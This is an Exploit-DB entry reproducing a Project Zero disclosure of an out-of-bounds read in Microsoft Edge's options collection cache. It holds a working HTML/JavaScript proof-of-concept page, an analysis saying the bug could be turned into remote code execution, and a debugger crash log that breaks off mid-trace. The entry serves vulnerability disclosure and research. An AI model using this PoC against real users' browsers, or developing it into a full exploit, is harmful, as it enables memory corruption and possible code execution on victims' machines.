Exploit-DB #42759
Description: Microsoft Edge 38.14393.1066.0 - 'COptionsCollectionCacheItem::GetAt' Out-of-Bounds Read
Type: dos
Platform: windows
Date: 2017-09-19
Author: Google Security Research

Exploit:
<!--
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1301

There is an out-of-bounds read issue in Microsoft Edge that could potentially be turned into remote code execution. The vulnerability has been confirmed on Microsoft Edge 38.14393.1066.0 (Microsoft EdgeHTML 14.14393) as well as Microsoft Edge 40.15063.0.0 (Microsoft EdgeHTML 15.15063).

PoC:

==========================================
-->

<!-- saved from url=(0014)about:internet -->
<script>
function go() {
  select1.multiple = false;
  var optgroup = document.createElement("optgroup");
  select1.add(optgroup);
  var options = select1.options;
  select2 = document.createElement("select");
  textarea.setSelectionRange(0,1000000);
  select1.length = 2;
  document.getElementsByTagName('option')[0].appendChild(textarea);
  select1.multiple = true;
  textarea.setSelectionRange(0,1000000);
  document.execCommand("insertOrderedList", false);
  select2.length = 100;
  select2.add(optgroup);
  //alert(options.length);
  var test = options[4];
  //alert(test);
}
</script>
<body onload=go()>
<textarea id="textarea"></textarea>
<select id="select1" contenteditable="true"></select>

<!--
=========================================

Preliminary analysis:

When opening the PoC in Edge under normal circumstances, the content process will occasionally crash somewhere inside Js::CustomExternalObject::GetItem  (see Debug Log 1 below) which corresponds to  'var test = options[4];' line in the PoC. Note that multiple page refreshes are usually needed to get the crash.

The real cause of the crash can be seen if Page Heap is applied to the MicrosoftEdgeCP.exe process and MemGC is disabled with OverrideMemoryProtectionSetting=0 registry flag (otherwise Page Heap settings won't apply to the MemGC heap). In that case an out-of-bounds read can be reliably observed in COptionsCollectionCacheItem::GetAt function (see Debug Log 2 below). What happens is that Edge thinks 'options' array contains 102 elements (this can be verified by uncommenting 'alert(options.length);' line in the PoC), however in reality the Options cache buffer is going to be smaller and only contain 2 elements. Thus if an attacker requests an object that is past the end of the cache buffer (note: the offset is chosen by the attacker) an incorrect object may be returned which can potentially be turned into a remote code execution.

Note: Debug logs were obtained on an older version of Edge for which symbols were available. However I verified that the bug also affects the latest version.

Debug log 1:

=========================================

(1790.17bc): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
chakra!Js::CrossSite::MarshalVar+0x37:
00007ffa`c8dc23f7 488b4808        mov     rcx,qword ptr [rax+8] ds:00000001`afccb7dc=????????????????

0:010> k
 # Child-SP          RetAddr           Call Site
00 00000071`3ecfb090 00007ffa`c8dc0c92 chakra!Js::CrossSite::MarshalVar+0x37
01 00000071`3ecfb0c0 00007ffa`c8d959c8 chakra!Js::CustomExternalObject::GetItem+0x1c2
02 00000071`3ecfb1a0 00007ffa`c8d92d84 chakra!Js::JavascriptOperators::GetItem+0x78
03 00000071`3ecfb200 00007ffa`c8dfc1e0 chakra!Js::JavascriptOperators::GetElementIHelper+0xb4
04 00000071`3ecfb290 00007ffa`c8d85ac1 chakra!Js::JavascriptOperators::OP_GetElementI+0x1c0
05 00000071`3ecfb2f0 00007ffa`c8d8933f chakra!Js::ProfilingHelpers::ProfiledLdElem+0x1b1
06 00000071`3ecfb380 00007ffa`c8d8e639 chakra!Js::InterpreterStackFrame::OP_ProfiledGetElementI<Js::OpLayoutT_ElementI<Js::LayoutSizePolicy<0> > >+0x5f
07 00000071`3ecfb3c0 00007ffa`c8d8c852 chakra!Js::InterpreterStackFrame::ProcessProfiled+0x179
08 00000071`3ecfb450 00007ffa`c8d90920 chakra!Js::InterpreterStackFrame::Process+0x142
09 00000071`3ecfb4b0 00007ffa`c8d92065 chakra!Js::InterpreterStackFrame::InterpreterHelper+0x4a0
0a 00000071`3ecfb860 000001b7`d68e0fb2 chakra!Js::InterpreterStackFrame::InterpreterThunk+0x55
0b 00000071`3ecfb8b0 00007ffa`c8e77273 0x000001b7`d68e0fb2
0c 00000071`3ecfb8e0 00007ffa`c8d85763 chakra!amd64_CallFunction+0x93
0d 00000071`3ecfb930 00007ffa`c8d88260 chakra!Js::JavascriptFunction::CallFunction<1>+0x83
0e 00000071`3ecfb990 00007ffa`c8d8ccfd chakra!Js::InterpreterStackFrame::OP_CallI<Js::OpLayoutDynamicProfile<Js::OpLayoutT_CallI<Js::LayoutSizePolicy<0> > > >+0x110
0f 00000071`3ecfb9e0 00007ffa`c8d8c8b7 chakra!Js::InterpreterStackFrame::ProcessUnprofiled+0x32d
10 00000071`3ecfba70 00007ffa`c8d90920 chakra!Js::InterpreterStackFrame::Process+0x1a7
11 00000071`3ecfbad0 00007ffa`c8d92065 chakra!Js::InterpreterStackFrame::InterpreterHelper+0x4a0
12 00000071`3ecfbe20 000001b7`d68e0fba chakra!Js::InterpreterStackFrame::InterpreterThunk+0x55
13 00000071`3ecfbe70 00007ffa`c8e77273 0x000001b7`d68e0fba
14 00000071`3ecfbea0 00007ffa`c8d85763 chakra!amd64_CallFunction+0x93
15 00000071`3ecfbef0 00007ffa`c8dba4bc chakra!Js::JavascriptFunction::CallFunction<1>+0x83
16 00000071`3ecfbf50 00007ffa`c8db9a86 chakra!Js::JavascriptFunction::CallRootFunctionInternal+0x104
17 00000071`3ecfc040 00007ffa`c8e5c359 chakra!Js::JavascriptFunction::CallRootFunction+0x4a
18 00000071`3ecfc0b0 00007ffa`c8dbff21 chakra!ScriptSite::CallRootFunction+0xb5
19 00000071`3ecfc150 00007ffa`c8dbbadc chakra!ScriptSite::Execute+0x131
1a 00000071`3ecfc1e0 00007ffa`c97d08dd chakra!ScriptEngineBase::Execute+0xcc
1b 00000071`3ecfc280 00007ffa`c97d0828 edgehtml!CJScript9Holder::ExecuteCallbackDirect+0x3d
1c 00000071`3ecfc2d0 00007ffa`c970a8c7 edgehtml!CJScript9Holder::ExecuteCallback+0x18
1d 00000071`3ecfc310 00007ffa`c970a6b7 edgehtml!CListenerDispatch::InvokeVar+0x1fb
1e 00000071`3ecfc490 00007ffa`c97cf22a edgehtml!CListenerDispatch::Invoke+0xdb
1f 00000071`3ecfc510 00007ffa`c98a40d2 edgehtml!CEventMgr::_InvokeListeners+0x2ca
20 00000071`3ecfc670 00007ffa`c9720ac5 edgehtml!CEventMgr::